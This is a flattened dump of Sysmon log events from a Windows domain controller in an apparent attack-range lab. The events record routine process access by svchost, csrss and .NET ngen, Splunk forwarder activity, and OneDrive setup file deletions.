14:44:17.664{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.664{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.664{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.664{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.664{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FC08-00000000F001}4264C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.664{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F41-613B-FC08-00000000F001}4264C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.541{7BD73061-6F41-613B-FC08-00000000F001}4264C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000042744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.633{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-FD08-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.617{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FD08-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.617{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-FD08-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B2EC8C5193BE4E7D81853263421DD247,SHA256=E84E25F566EF726DCB743A423EC139F15344A9314005A588B46D93536B63E76D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7607B5F03519D52E7678EE47D4CCB239,SHA256=98087A4A6470CBDA4B0794E35E9A77519B6F1DCC821852EFE9ADAC8CB4944BC9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.523{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-FB08-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.508{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FB08-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.508{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-FB08-00000000F001}6952C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.461{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-FA08-00000000F001}6876C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.445{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-FA08-00000000F001}6876C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.445{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-FA08-00000000F001}6876C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.398{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6BD6.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.383{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=F5BB281F6E5946D4990A800747208763,SHA256=EBC606878B03DEFB962527DFDC070C84CD625B67007DAC5EC761A426887166C5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.367{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-F908-00000000F001}1404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.352{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-F908-00000000F001}1404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.352{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-F908-00000000F001}1404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.320{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=CD6BC1DF38BE2AB73DA076031E01F110,SHA256=3E023ACF8370E01AC1242817C42AD9432EA339325DF96443D059B8CF037F0811,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.305{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=41B53E1C8720B4B1348396B101DE6A78,SHA256=734F5846AE67658F78B3CA5D3A03E20BF7C9C26D2EB6FC0F42E944D7F34F815F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.289{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-F808-00000000F001}6252C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.289{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=383D3C1B20B03E1A4C8A6F1FAF8208A7,SHA256=320368F377756318AC4E243D3E77D2DC279FCC9E8F7005734192CBFA5E5D9D97,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.273{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=92753275883E1B621E5A07DB1EFD8610,SHA256=351571AC41FCD855A1F911B4A429267D49F56C507E39C271EEBD0C8B412F159A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.273{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-F808-00000000F001}6252C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 